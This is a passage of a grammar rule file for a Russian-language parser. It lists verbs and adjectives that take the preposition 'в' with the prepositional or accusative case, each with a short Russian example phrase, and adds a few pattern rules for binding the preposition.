rus_verbs:уснуть{}, // уснуть в кресле
rus_verbs:задержаться{}, // задержаться в театре
rus_verbs:подобрать{}, // подобрать в коллекции
rus_verbs:пробовать{}, // пробовать в работе
rus_verbs:курить{}, // курить в закрытом помещении
rus_verbs:устраивать{}, // устраивать в лесу засаду
rus_verbs:установить{}, // установить в багажнике
rus_verbs:запереть{}, // запереть в сарае
rus_verbs:содержать{}, // содержать в достатке
rus_verbs:синеть{}, // синеть в кислородной атмосфере
rus_verbs:слышаться{}, // слышаться в голосе
rus_verbs:закрыться{}, // закрыться в здании
rus_verbs:скрываться{}, // скрываться в квартире
rus_verbs:родить{}, // родить в больнице
rus_verbs:описать{}, // описать в заметках
rus_verbs:перехватить{}, // перехватить в коридоре
rus_verbs:менять{}, // менять в магазине
rus_verbs:скрывать{}, // скрывать в чужой квартире
rus_verbs:стиснуть{}, // стиснуть в стальных объятиях
rus_verbs:останавливаться{}, // останавливаться в гостинице
rus_verbs:мелькать{}, // мелькать в телевизоре
rus_verbs:присутствовать{}, // присутствовать в аудитории
rus_verbs:украсть{}, // украсть в магазине
rus_verbs:победить{}, // победить в войне
rus_verbs:расположиться{}, // расположиться в гостинице
rus_verbs:упомянуть{}, // упомянуть в своей книге
rus_verbs:плыть{}, // плыть в старой бочке
rus_verbs:нащупать{}, // нащупать в глубине
rus_verbs:проявляться{}, // проявляться в работе
rus_verbs:затихнуть{}, // затихнуть в норе
rus_verbs:построить{}, // построить в гараже
rus_verbs:поддерживать{}, // поддерживать в исправном состоянии
rus_verbs:заработать{}, // заработать в стартапе
rus_verbs:сломать{}, // сломать в суставе
rus_verbs:снимать{}, // снимать в гардеробе
rus_verbs:сохранить{}, // сохранить в коллекции
rus_verbs:располагаться{}, // располагаться в отдельном кабинете
rus_verbs:сражаться{}, // сражаться в честном бою
rus_verbs:спускаться{}, // спускаться в батискафе
rus_verbs:уничтожить{}, // уничтожить в схроне
rus_verbs:изучить{}, // изучить в естественных условиях
rus_verbs:рождаться{}, // рождаться в муках
rus_verbs:пребывать{}, // пребывать в прострации
rus_verbs:прилететь{}, // прилететь в аэробусе
rus_verbs:догнать{}, // догнать в переулке
rus_verbs:изобразить{}, // изобразить в танце
rus_verbs:проехать{}, // проехать в легковушке
rus_verbs:убедить{}, // убедить в разумности
rus_verbs:приготовить{}, // приготовить в духовке
rus_verbs:собирать{}, // собирать в лесу
rus_verbs:поплыть{}, // поплыть в катере
rus_verbs:доверять{}, // доверять в управлении
rus_verbs:разобраться{}, // разобраться в законах
rus_verbs:ловить{}, // ловить в озере
rus_verbs:проесть{}, // проесть в куске металла отверстие
rus_verbs:спрятаться{}, // спрятаться в подвале
rus_verbs:провозгласить{}, // провозгласить в речи
rus_verbs:изложить{}, // изложить в своём выступлении
rus_verbs:замяться{}, // замяться в коридоре
rus_verbs:раздаваться{}, // Крик ягуара раздается в джунглях
rus_verbs:доказать{}, // Автор доказал в своей работе, что теорема верна
rus_verbs:хранить{}, // хранить в шкатулке
rus_verbs:шутить{}, // шутить в классе
глагол:рассыпаться{ aux stress="рассып^аться" }, // рассыпаться в извинениях
инфинитив:рассыпаться{ aux stress="рассып^аться" },
rus_verbs:чертить{}, // чертить в тетрадке
rus_verbs:отразиться{}, // отразиться в аттестате
rus_verbs:греть{}, // греть в микроволновке
rus_verbs:зарычать{}, // Кто-то зарычал в глубине леса
rus_verbs:рассуждать{}, // Автор рассуждает в своей статье
rus_verbs:освободить{}, // Обвиняемые были освобождены в зале суда
rus_verbs:окружать{}, // окружать в лесу
rus_verbs:сопровождать{}, // сопровождать в операции
rus_verbs:заканчиваться{}, // заканчиваться в дороге
rus_verbs:поселиться{}, // поселиться в загородном доме
rus_verbs:охватывать{}, // охватывать в хронологии
rus_verbs:запеть{}, // запеть в кино
инфинитив:провозить{вид:несоверш}, // провозить в багаже
глагол:провозить{вид:несоверш},
rus_verbs:мочить{}, // мочить в сортире
rus_verbs:перевернуться{}, // перевернуться в полёте
rus_verbs:улететь{}, // улететь в теплые края
rus_verbs:сдержать{}, // сдержать в руках
rus_verbs:преследовать{}, // преследовать в любой другой стране
rus_verbs:драться{}, // драться в баре
rus_verbs:просидеть{}, // просидеть в классе
rus_verbs:убираться{}, // убираться в квартире
rus_verbs:содрогнуться{}, // содрогнуться в приступе отвращения
rus_verbs:пугать{}, // пугать в прессе
rus_verbs:отреагировать{}, // отреагировать в прессе
rus_verbs:проверять{}, // проверять в аппарате
rus_verbs:убеждать{}, // убеждать в отсутствии альтернатив
rus_verbs:летать{}, // летать в комфортабельном частном самолёте
rus_verbs:толпиться{}, // толпиться в фойе
rus_verbs:плавать{}, // плавать в специальном костюме
rus_verbs:пробыть{}, // пробыть в воде слишком долго
rus_verbs:прикинуть{}, // прикинуть в уме
rus_verbs:застрять{}, // застрять в лифте
rus_verbs:метаться{}, // метаться в кровате
rus_verbs:сжечь{}, // сжечь в печке
rus_verbs:расслабиться{}, // расслабиться в ванной
rus_verbs:услыхать{}, // услыхать в автобусе
rus_verbs:удержать{}, // удержать в вертикальном положении
rus_verbs:образоваться{}, // образоваться в верхних слоях атмосферы
rus_verbs:рассмотреть{}, // рассмотреть в капле воды
rus_verbs:просмотреть{}, // просмотреть в браузере
rus_verbs:учесть{}, // учесть в планах
rus_verbs:уезжать{}, // уезжать в чьей-то машине
rus_verbs:похоронить{}, // похоронить в мерзлой земле
rus_verbs:растянуться{}, // растянуться в расслабленной позе
rus_verbs:обнаружиться{}, // обнаружиться в чужой сумке
rus_verbs:гулять{}, // гулять в парке
rus_verbs:утонуть{}, // утонуть в реке
rus_verbs:зажать{}, // зажать в медвежьих объятиях
rus_verbs:усомниться{}, // усомниться в объективности
rus_verbs:танцевать{}, // танцевать в спортзале
rus_verbs:проноситься{}, // проноситься в голове
rus_verbs:трудиться{}, // трудиться в кооперативе
глагол:засыпать{ aux stress="засып^ать" переходность:непереходный }, // засыпать в спальном мешке
инфинитив:засыпать{ aux stress="засып^ать" переходность:непереходный },
rus_verbs:сушить{}, // сушить в сушильном шкафу
rus_verbs:зашевелиться{}, // зашевелиться в траве
rus_verbs:обдумывать{}, // обдумывать в спокойной обстановке
rus_verbs:промелькнуть{}, // промелькнуть в окне
rus_verbs:поучаствовать{}, // поучаствовать в обсуждении
rus_verbs:закрыть{}, // закрыть в комнате
rus_verbs:запирать{}, // запирать в комнате
rus_verbs:закрывать{}, // закрывать в доме
rus_verbs:заблокировать{}, // заблокировать в доме
rus_verbs:зацвести{}, // В садах зацвела сирень
rus_verbs:кричать{}, // Какое-то животное кричало в ночном лесу.
rus_verbs:поглотить{}, // фотон, поглощенный в рецепторе
rus_verbs:стоять{}, // войска, стоявшие в Риме
rus_verbs:закалить{}, // ветераны, закаленные в боях
rus_verbs:выступать{}, // пришлось выступать в тюрьме.
rus_verbs:выступить{}, // пришлось выступить в тюрьме.
rus_verbs:закопошиться{}, // Мыши закопошились в траве
rus_verbs:воспламениться{}, // смесь, воспламенившаяся в цилиндре
rus_verbs:воспламеняться{}, // смесь, воспламеняющаяся в цилиндре
rus_verbs:закрываться{}, // закрываться в комнате
rus_verbs:провалиться{}, // провалиться в прокате
деепричастие:авторизируясь{ вид:несоверш },
глагол:авторизироваться{ вид:несоверш },
инфинитив:авторизироваться{ вид:несоверш }, // авторизироваться в системе
rus_verbs:существовать{}, // существовать в вакууме
деепричастие:находясь{},
прилагательное:находившийся{},
прилагательное:находящийся{},
глагол:находиться{ вид:несоверш },
инфинитив:находиться{ вид:несоверш }, // находиться в вакууме
rus_verbs:регистрировать{}, // регистрировать в инспекции
глагол:перерегистрировать{ вид:несоверш }, глагол:перерегистрировать{ вид:соверш },
инфинитив:перерегистрировать{ вид:несоверш }, инфинитив:перерегистрировать{ вид:соверш }, // перерегистрировать в инспекции
rus_verbs:поковыряться{}, // поковыряться в носу
rus_verbs:оттаять{}, // оттаять в кипятке
rus_verbs:распинаться{}, // распинаться в проклятиях
rus_verbs:отменить{}, // Министерство связи предлагает отменить внутренний роуминг в России
rus_verbs:столкнуться{}, // Американский эсминец и японский танкер столкнулись в Персидском заливе
rus_verbs:ценить{}, // Он очень ценил в статьях краткость изложения.
прилагательное:несчастный{}, // Он очень несчастен в семейной жизни.
rus_verbs:объясниться{}, // Он объяснился в любви.
прилагательное:нетвердый{}, // Он нетвёрд в истории.
rus_verbs:заниматься{}, // Он занимается в читальном зале.
rus_verbs:вращаться{}, // Он вращается в учёных кругах.
прилагательное:спокойный{}, // Он был спокоен и уверен в завтрашнем дне.
rus_verbs:бегать{}, // Он бегал по городу в поисках квартиры.
rus_verbs:заключать{}, // Письмо заключало в себе очень важные сведения.
rus_verbs:срабатывать{}, // Алгоритм срабатывает в половине случаев.
rus_verbs:специализироваться{}, // мы специализируемся в создании ядерного оружия
rus_verbs:сравниться{}, // Никто не может сравниться с ним в знаниях.
rus_verbs:продолжать{}, // Продолжайте в том же духе.
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:болтать{}, // Не болтай в присутствии начальника!
rus_verbs:проболтаться{}, // Не проболтайся в присутствии начальника!
rus_verbs:повторить{}, // Он должен повторить свои показания в присутствии свидетелей
rus_verbs:получить{}, // ректор поздравил студентов, получивших в этом семестре повышенную стипендию
rus_verbs:приобретать{}, // Эту еду мы приобретаем в соседнем магазине.
rus_verbs:расходиться{}, // Маша и Петя расходятся во взглядах
rus_verbs:сходиться{}, // Все дороги сходятся в Москве
rus_verbs:убирать{}, // убирать в комнате
rus_verbs:удостоверяться{}, // он удостоверяется в личности специалиста
rus_verbs:уединяться{}, // уединяться в пустыне
rus_verbs:уживаться{}, // уживаться в одном коллективе
rus_verbs:укорять{}, // укорять друга в забывчивости
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:состояться{}, // В Израиле состоятся досрочные парламентские выборы
rus_verbs:погибнуть{}, // Список погибших в авиакатастрофе под Ярославлем
rus_verbs:работать{}, // Я работаю в театре.
rus_verbs:признать{}, // Я признал в нём старого друга.
rus_verbs:преподавать{}, // Я преподаю в университете.
rus_verbs:понимать{}, // Я плохо понимаю в живописи.
rus_verbs:водиться{}, // неизвестный науке зверь, который водится в жарких тропических лесах
rus_verbs:разразиться{}, // В Москве разразилась эпидемия гриппа
rus_verbs:замереть{}, // вся толпа замерла в восхищении
rus_verbs:сидеть{}, // Я люблю сидеть в этом удобном кресле.
rus_verbs:идти{}, // Я иду в неопределённом направлении.
rus_verbs:заболеть{}, // Я заболел в дороге.
rus_verbs:ехать{}, // Я еду в автобусе
rus_verbs:взять{}, // Я взял книгу в библиотеке на неделю.
rus_verbs:провести{}, // Юные годы он провёл в Италии.
rus_verbs:вставать{}, // Этот случай живо встаёт в моей памяти.
rus_verbs:возвысить{}, // Это событие возвысило его в общественном мнении.
rus_verbs:произойти{}, // Это произошло в одном городе в Японии.
rus_verbs:привидеться{}, // Это мне привиделось во сне.
rus_verbs:держаться{}, // Это дело держится в большом секрете.
rus_verbs:привиться{}, // Это выражение не привилось в русском языке.
rus_verbs:восстановиться{}, // Эти писатели восстановились в правах.
rus_verbs:быть{}, // Эта книга есть в любом книжном магазине.
прилагательное:популярный{}, // Эта идея очень популярна в массах.
rus_verbs:шуметь{}, // Шумит в голове.
rus_verbs:остаться{}, // Шляпа осталась в поезде.
rus_verbs:выражаться{}, // Характер писателя лучше всего выражается в его произведениях.
rus_verbs:воспитать{}, // Учительница воспитала в детях любовь к природе.
rus_verbs:пересохнуть{}, // У меня в горле пересохло.
rus_verbs:щекотать{}, // У меня в горле щекочет.
rus_verbs:колоть{}, // У меня в боку колет.
прилагательное:свежий{}, // Событие ещё свежо в памяти.
rus_verbs:собрать{}, // Соберите всех учеников во дворе.
rus_verbs:белеть{}, // Снег белеет в горах.
rus_verbs:сделать{}, // Сколько орфографических ошибок ты сделал в диктанте?
rus_verbs:таять{}, // Сахар тает в кипятке.
rus_verbs:жать{}, // Сапог жмёт в подъёме.
rus_verbs:возиться{}, // Ребята возятся в углу.
rus_verbs:распоряжаться{}, // Прошу не распоряжаться в чужом доме.
rus_verbs:кружиться{}, // Они кружились в вальсе.
rus_verbs:выставлять{}, // Они выставляют его в смешном виде.
rus_verbs:бывать{}, // Она часто бывает в обществе.
rus_verbs:петь{}, // Она поёт в опере.
rus_verbs:сойтись{}, // Все свидетели сошлись в своих показаниях.
rus_verbs:валяться{}, // Вещи валялись в беспорядке.
rus_verbs:пройти{}, // Весь день прошёл в беготне.
rus_verbs:продавать{}, // В этом магазине продают обувь.
rus_verbs:заключаться{}, // В этом заключается вся сущность.
rus_verbs:звенеть{}, // В ушах звенит.
rus_verbs:проступить{}, // В тумане проступили очертания корабля.
rus_verbs:бить{}, // В саду бьёт фонтан.
rus_verbs:проскользнуть{}, // В речи проскользнул упрёк.
rus_verbs:оставить{}, // Не оставь товарища в опасности.
rus_verbs:прогулять{}, // Мы прогуляли час в парке.
rus_verbs:перебить{}, // Мы перебили врагов в бою.
rus_verbs:остановиться{}, // Мы остановились в первой попавшейся гостинице.
rus_verbs:видеть{}, // Он многое видел в жизни.
// глагол:проходить{ вид:несоверш }, // Беседа проходила в дружественной атмосфере.
rus_verbs:подать{}, // Автор подал своих героев в реалистических тонах.
rus_verbs:кинуть{}, // Он кинул меня в беде.
rus_verbs:приходить{}, // Приходи в сентябре
rus_verbs:воскрешать{}, // воскрешать в памяти
rus_verbs:соединять{}, // соединять в себе
rus_verbs:разбираться{}, // умение разбираться в вещах
rus_verbs:делать{}, // В её комнате делали обыск.
rus_verbs:воцариться{}, // В зале воцарилась глубокая тишина.
rus_verbs:начаться{}, // В деревне начались полевые работы.
rus_verbs:блеснуть{}, // В голове блеснула хорошая мысль.
rus_verbs:вертеться{}, // В голове вертится вчерашний разговор.
rus_verbs:веять{}, // В воздухе веет прохладой.
rus_verbs:висеть{}, // В воздухе висит зной.
rus_verbs:носиться{}, // В воздухе носятся комары.
rus_verbs:грести{}, // Грести в спокойной воде будет немного легче, но скучнее
rus_verbs:воскресить{}, // воскресить в памяти
rus_verbs:поплавать{}, // поплавать в 100-метровом бассейне
rus_verbs:пострадать{}, // В массовой драке пострадал 23-летний мужчина
прилагательное:уверенный{ причастие }, // Она уверена в своих силах.
прилагательное:постоянный{}, // Она постоянна во вкусах.
прилагательное:сильный{}, // Он не силён в математике.
прилагательное:повинный{}, // Он не повинен в этом.
прилагательное:возможный{}, // Ураганы, сильные грозы и даже смерчи возможны в конце периода сильной жары
rus_verbs:вывести{}, // способный летать над землей крокодил был выведен в секретной лаборатории
прилагательное:нужный{}, // сковородка тоже нужна в хозяйстве.
rus_verbs:сесть{}, // Она села в тени
rus_verbs:заливаться{}, // в нашем парке заливаются соловьи
rus_verbs:разнести{}, // В лесу огонь пожара мгновенно разнесло
rus_verbs:чувствоваться{}, // В тёплом, но сыром воздухе остро чувствовалось дыхание осени
// rus_verbs:расти{}, // дерево, растущее в лесу
rus_verbs:происходить{}, // что происходит в поликлиннике
rus_verbs:спать{}, // кто спит в моей кровати
rus_verbs:мыть{}, // мыть машину в саду
ГЛ_ИНФ(царить), // В воздухе царило безмолвие
ГЛ_ИНФ(мести), // мести в прихожей пол
ГЛ_ИНФ(прятать), // прятать в яме
ГЛ_ИНФ(увидеть), прилагательное:увидевший{}, деепричастие:увидев{}, // увидел периодическую таблицу элементов во сне.
// ГЛ_ИНФ(собраться), // собраться в порту
ГЛ_ИНФ(случиться), // что-то случилось в больнице
ГЛ_ИНФ(зажечься), // в небе зажглись звёзды
ГЛ_ИНФ(купить), // купи молока в магазине
прилагательное:пропагандировавшийся{} // группа студентов университета дружбы народов, активно пропагандировавшейся в СССР
}
// Чтобы разрешить связывание в паттернах типа: пообедать в macdonalds
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} *:*{ падеж:предл } }
then return true
}
// С локативом:
// собраться в порту
fact гл_предл
{
if context { Гл_В_Предл предлог:в{} существительное:*{ падеж:мест } }
then return true
}
#endregion Предложный
#region Винительный
// Для глаголов движения с выраженным направлением действия может присоединяться
// предложный паттерн с винительным падежом.
wordentry_set Гл_В_Вин =
{
rus_verbs:вдавиться{}, // Дуло больно вдавилось в позвонок.
глагол:ввергнуть{}, // Двух прелестнейших дам он ввергнул в горе.
глагол:ввергать{},
инфинитив:ввергнуть{},
инфинитив:ввергать{},
rus_verbs:двинуться{}, // Двинулись в путь и мы.
rus_verbs:сплавать{}, // Сплавать в Россию!
rus_verbs:уложиться{}, // Уложиться в воскресенье.
rus_verbs:спешить{}, // Спешите в Лондон
rus_verbs:кинуть{}, // Киньте в море.
rus_verbs:проситься{}, // Просилась в Никарагуа.
rus_verbs:притопать{}, // Притопал в Будапешт.
rus_verbs:скататься{}, // Скатался в Красноярск.
rus_verbs:соскользнуть{}, // Соскользнул в пике.
rus_verbs:соскальзывать{},
rus_verbs:играть{}, // Играл в дутье.
глагол:айда{}, // Айда в каморы.
rus_verbs:отзывать{}, // Отзывали в Москву...
rus_verbs:сообщаться{}, // Сообщается в Лондон.
rus_verbs:вдуматься{}, // Вдумайтесь в них.
rus_verbs:проехать{}, // Проехать в Лунево...
rus_verbs:спрыгивать{}, // Спрыгиваем в него.
rus_verbs:верить{}, // Верю в вас!
rus_verbs:прибыть{}, // Прибыл в Подмосковье.
rus_verbs:переходить{}, // Переходите в школу.
rus_verbs:доложить{}, // Доложили в Москву.
rus_verbs:подаваться{}, // Подаваться в Россию?
rus_verbs:спрыгнуть{}, // Спрыгнул в него.
rus_verbs:вывезти{}, // Вывезли в Китай.
rus_verbs:пропихивать{}, // Я очень аккуратно пропихивал дуло в ноздрю.
rus_verbs:пропихнуть{},
rus_verbs:транспортироваться{},
rus_verbs:закрадываться{}, // в голову начали закрадываться кое-какие сомнения и подозрения
rus_verbs:дуть{},
rus_verbs:БОГАТЕТЬ{}, //
rus_verbs:РАЗБОГАТЕТЬ{}, //
rus_verbs:ВОЗРАСТАТЬ{}, //
rus_verbs:ВОЗРАСТИ{}, //
rus_verbs:ПОДНЯТЬ{}, // Он поднял половинку самолета в воздух и на всей скорости повел ее к горам. (ПОДНЯТЬ)
rus_verbs:ОТКАТИТЬСЯ{}, // Услышав за спиной дыхание, он прыгнул вперед и откатился в сторону, рассчитывая ускользнуть от врага, нападавшего сзади (ОТКАТИТЬСЯ)
rus_verbs:ВПЛЕТАТЬСЯ{}, // В общий смрад вплеталось зловонье пены, летевшей из пастей, и крови из легких (ВПЛЕТАТЬСЯ)
rus_verbs:ЗАМАНИТЬ{}, // Они подумали, что Павел пытается заманить их в зону обстрела. (ЗАМАНИТЬ,ЗАМАНИВАТЬ)
rus_verbs:ЗАМАНИВАТЬ{},
rus_verbs:ПРОТРУБИТЬ{}, // Эти врата откроются, когда он протрубит в рог, и пропустят его в другую вселенную. (ПРОТРУБИТЬ)
rus_verbs:ВРУБИТЬСЯ{}, // Клинок сломался, не врубившись в металл. (ВРУБИТЬСЯ/ВРУБАТЬСЯ)
rus_verbs:ВРУБАТЬСЯ{},
rus_verbs:ОТПРАВИТЬ{}, // Мы ищем благородного вельможу, который нанял бы нас или отправил в рыцарский поиск. (ОТПРАВИТЬ)
rus_verbs:ОБЛАЧИТЬ{}, // Этот был облачен в сверкавшие красные доспехи с опущенным забралом и держал огромное копье, дожидаясь своей очереди. (ОБЛАЧИТЬ/ОБЛАЧАТЬ/ОБЛАЧИТЬСЯ/ОБЛАЧАТЬСЯ/НАРЯДИТЬСЯ/НАРЯЖАТЬСЯ)
rus_verbs:ОБЛАЧАТЬ{},
rus_verbs:ОБЛАЧИТЬСЯ{},
rus_verbs:ОБЛАЧАТЬСЯ{},
rus_verbs:НАРЯДИТЬСЯ{},
rus_verbs:НАРЯЖАТЬСЯ{},
rus_verbs:ЗАХВАТИТЬ{}, // Кроме набранного рабского материала обычного типа, он захватил в плен группу очень странных созданий, а также женщину исключительной красоты (ЗАХВАТИТЬ/ЗАХВАТЫВАТЬ/ЗАХВАТ)
rus_verbs:ЗАХВАТЫВАТЬ{},
rus_verbs:ПРОВЕСТИ{}, // Он провел их в маленькое святилище позади штурвала. (ПРОВЕСТИ)
rus_verbs:ПОЙМАТЬ{}, // Их можно поймать в ловушку (ПОЙМАТЬ)
rus_verbs:СТРОИТЬСЯ{}, // На вершине они остановились, строясь в круг. (СТРОИТЬСЯ,ПОСТРОИТЬСЯ,ВЫСТРОИТЬСЯ)
rus_verbs:ПОСТРОИТЬСЯ{},
rus_verbs:ВЫСТРОИТЬСЯ{},
rus_verbs:ВЫПУСТИТЬ{}, // Несколько стрел, выпущенных в преследуемых, вонзились в траву (ВЫПУСТИТЬ/ВЫПУСКАТЬ)
rus_verbs:ВЫПУСКАТЬ{},
rus_verbs:ВЦЕПЛЯТЬСЯ{}, // Они вцепляются тебе в горло. (ВЦЕПЛЯТЬСЯ/ВЦЕПИТЬСЯ)
rus_verbs:ВЦЕПИТЬСЯ{},
rus_verbs:ПАЛЬНУТЬ{}, // Вольф вставил в тетиву новую стрелу и пальнул в белое брюхо (ПАЛЬНУТЬ)
rus_verbs:ОТСТУПИТЬ{}, // Вольф отступил в щель. (ОТСТУПИТЬ/ОТСТУПАТЬ)
rus_verbs:ОТСТУПАТЬ{},
rus_verbs:КРИКНУТЬ{}, // Вольф крикнул в ответ и медленно отступил от птицы. (КРИКНУТЬ)
rus_verbs:ДЫХНУТЬ{}, // В лицо ему дыхнули винным перегаром. (ДЫХНУТЬ)
rus_verbs:ПОТРУБИТЬ{}, // Я видел рог во время своих скитаний по дворцу и даже потрубил в него (ПОТРУБИТЬ)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Некоторые врата открывались в другие вселенные (ОТКРЫВАТЬСЯ)
rus_verbs:ТРУБИТЬ{}, // А я трубил в рог (ТРУБИТЬ)
rus_verbs:ПЫРНУТЬ{}, // Вольф пырнул его в бок. (ПЫРНУТЬ)
rus_verbs:ПРОСКРЕЖЕТАТЬ{}, // Тот что-то проскрежетал в ответ, а затем наорал на него. (ПРОСКРЕЖЕТАТЬ В вин, НАОРАТЬ НА вин)
rus_verbs:ИМПОРТИРОВАТЬ{}, // импортировать товары двойного применения только в Российскую Федерацию (ИМПОРТИРОВАТЬ)
rus_verbs:ОТЪЕХАТЬ{}, // Легкий грохот катков заглушил рог, когда дверь отъехала в сторону. (ОТЪЕХАТЬ)
rus_verbs:ПОПЛЕСТИСЬ{}, // Подобрав нижнее белье, носки и ботинки, он поплелся по песку обратно в джунгли. (ПОПЛЕЛСЯ)
rus_verbs:СЖАТЬСЯ{}, // Желудок у него сжался в кулак. (СЖАТЬСЯ, СЖИМАТЬСЯ)
rus_verbs:СЖИМАТЬСЯ{},
rus_verbs:проверять{}, // Школьников будут принудительно проверять на курение
rus_verbs:ПОТЯНУТЬ{}, // Я потянул его в кино (ПОТЯНУТЬ)
rus_verbs:ПЕРЕВЕСТИ{}, // Премьер-министр Казахстана поручил до конца года перевести все социально-значимые услуги в электронный вид (ПЕРЕВЕСТИ)
rus_verbs:КРАСИТЬ{}, // Почему китайские партийные боссы красят волосы в черный цвет? (КРАСИТЬ/ПОКРАСИТЬ/ПЕРЕКРАСИТЬ/ОКРАСИТЬ/ЗАКРАСИТЬ)
rus_verbs:ПОКРАСИТЬ{}, //
rus_verbs:ПЕРЕКРАСИТЬ{}, //
rus_verbs:ОКРАСИТЬ{}, //
rus_verbs:ЗАКРАСИТЬ{}, //
rus_verbs:СООБЩИТЬ{}, // Мужчина ранил человека в щеку и сам сообщил об этом в полицию (СООБЩИТЬ)
rus_verbs:СТЯГИВАТЬ{}, // Но толщина пузыря постоянно меняется из-за гравитации, которая стягивает жидкость в нижнюю часть (СТЯГИВАТЬ/СТЯНУТЬ/ЗАТЯНУТЬ/ВТЯНУТЬ)
rus_verbs:СТЯНУТЬ{}, //
rus_verbs:ЗАТЯНУТЬ{}, //
rus_verbs:ВТЯНУТЬ{}, //
rus_verbs:СОХРАНИТЬ{}, // сохранить данные в файл (СОХРАНИТЬ)
деепричастие:придя{}, // Немного придя в себя
rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал
rus_verbs:УЛЫБАТЬСЯ{}, // она улыбалась во весь рот (УЛЫБАТЬСЯ)
rus_verbs:МЕТНУТЬСЯ{}, // она метнулась обратно во тьму (МЕТНУТЬСЯ)
rus_verbs:ПОСЛЕДОВАТЬ{}, // большинство жителей города последовало за ним во дворец (ПОСЛЕДОВАТЬ)
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // экстремисты перемещаются из лесов в Сеть (ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ВЫТАЩИТЬ{}, // Алексей позволил вытащить себя через дверь во тьму (ВЫТАЩИТЬ)
rus_verbs:СЫПАТЬСЯ{}, // внизу под ними камни градом сыпались во двор (СЫПАТЬСЯ)
rus_verbs:выезжать{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку
rus_verbs:КРИЧАТЬ{}, // ей хотелось кричать во весь голос (КРИЧАТЬ В вин)
rus_verbs:ВЫПРЯМИТЬСЯ{}, // волк выпрямился во весь огромный рост (ВЫПРЯМИТЬСЯ В вин)
rus_verbs:спрятать{}, // Джон спрятал очки во внутренний карман (спрятать в вин)
rus_verbs:ЭКСТРАДИРОВАТЬ{}, // Украина экстрадирует в Таджикистан задержанного бывшего премьер-министра (ЭКСТРАДИРОВАТЬ В вин)
rus_verbs:ВВОЗИТЬ{}, // лабораторный мониторинг ввозимой в Россию мясной продукции из США (ВВОЗИТЬ В вин)
rus_verbs:УПАКОВАТЬ{}, // упакованных в несколько слоев полиэтилена (УПАКОВАТЬ В вин)
rus_verbs:ОТТЯГИВАТЬ{}, // использовать естественную силу гравитации, оттягивая объекты в сторону и изменяя их орбиту (ОТТЯГИВАТЬ В вин)
rus_verbs:ПОЗВОНИТЬ{}, // они позвонили в отдел экологии городской администрации (ПОЗВОНИТЬ В)
rus_verbs:ПРИВЛЕЧЬ{}, // Открытость данных о лесе поможет привлечь инвестиции в отрасль (ПРИВЛЕЧЬ В)
rus_verbs:ЗАПРОСИТЬСЯ{}, // набегавшись и наплясавшись, Стасик утомился и запросился в кроватку (ЗАПРОСИТЬСЯ В)
rus_verbs:ОТСТАВИТЬ{}, // бутыль с ацетоном Витька отставил в сторонку (ОТСТАВИТЬ В)
rus_verbs:ИСПОЛЬЗОВАТЬ{}, // ты использовал свою магию во зло. (ИСПОЛЬЗОВАТЬ В вин)
rus_verbs:ВЫСЕВАТЬ{}, // В апреле редис возможно уже высевать в грунт (ВЫСЕВАТЬ В)
rus_verbs:ЗАГНАТЬ{}, // Американский психолог загнал любовь в три угла (ЗАГНАТЬ В)
rus_verbs:ЭВОЛЮЦИОНИРОВАТЬ{}, // Почему не все обезьяны эволюционировали в человека? (ЭВОЛЮЦИОНИРОВАТЬ В вин)
rus_verbs:СФОТОГРАФИРОВАТЬСЯ{}, // Он сфотографировался во весь рост. (СФОТОГРАФИРОВАТЬСЯ В)
rus_verbs:СТАВИТЬ{}, // Он ставит мне в упрёк свою ошибку. (СТАВИТЬ В)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
rus_verbs:ПЕРЕСЕЛЯТЬСЯ{}, // Греки переселяются в Германию (ПЕРЕСЕЛЯТЬСЯ В)
rus_verbs:ФОРМИРОВАТЬСЯ{}, // Сахарная свекла относится к двулетним растениям, мясистый корнеплод формируется в первый год. (ФОРМИРОВАТЬСЯ В)
rus_verbs:ПРОВОРЧАТЬ{}, // дедуля что-то проворчал в ответ (ПРОВОРЧАТЬ В)
rus_verbs:БУРКНУТЬ{}, // нелюдимый парень что-то буркнул в ответ (БУРКНУТЬ В)
rus_verbs:ВЕСТИ{}, // дверь вела во тьму. (ВЕСТИ В)
rus_verbs:ВЫСКОЧИТЬ{}, // беглецы выскочили во двор. (ВЫСКОЧИТЬ В)
rus_verbs:ДОСЫЛАТЬ{}, // Одним движением стрелок досылает патрон в ствол (ДОСЫЛАТЬ В)
rus_verbs:СЪЕХАТЬСЯ{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В)
rus_verbs:ВЫТЯНУТЬ{}, // Дым вытянуло в трубу. (ВЫТЯНУТЬ В)
rus_verbs:торчать{}, // острые обломки бревен торчали во все стороны.
rus_verbs:ОГЛЯДЫВАТЬ{}, // Она оглядывает себя в зеркало. (ОГЛЯДЫВАТЬ В)
rus_verbs:ДЕЙСТВОВАТЬ{}, // Этот пакет законов действует в ущерб частным предпринимателям.
rus_verbs:РАЗЛЕТЕТЬСЯ{}, // люди разлетелись во все стороны. (РАЗЛЕТЕТЬСЯ В)
rus_verbs:брызнуть{}, // во все стороны брызнула кровь. (брызнуть в)
rus_verbs:ТЯНУТЬСЯ{}, // провода тянулись во все углы. (ТЯНУТЬСЯ В)
rus_verbs:валить{}, // валить все в одну кучу (валить в)
rus_verbs:выдвинуть{}, // его выдвинули в палату представителей (выдвинуть в)
rus_verbs:карабкаться{}, // карабкаться в гору (карабкаться в)
rus_verbs:клониться{}, // он клонился в сторону (клониться в)
rus_verbs:командировать{}, // мы командировали нашего представителя в Рим (командировать в)
rus_verbs:запасть{}, // Эти слова запали мне в душу.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:ездить{}, // Каждый день грузовик ездит в город.
rus_verbs:претвориться{}, // Замысел претворился в жизнь.
rus_verbs:разойтись{}, // Они разошлись в разные стороны.
rus_verbs:выйти{}, // Охотник вышел в поле с ружьём.
rus_verbs:отозвать{}, // Отзовите его в сторону и скажите ему об этом.
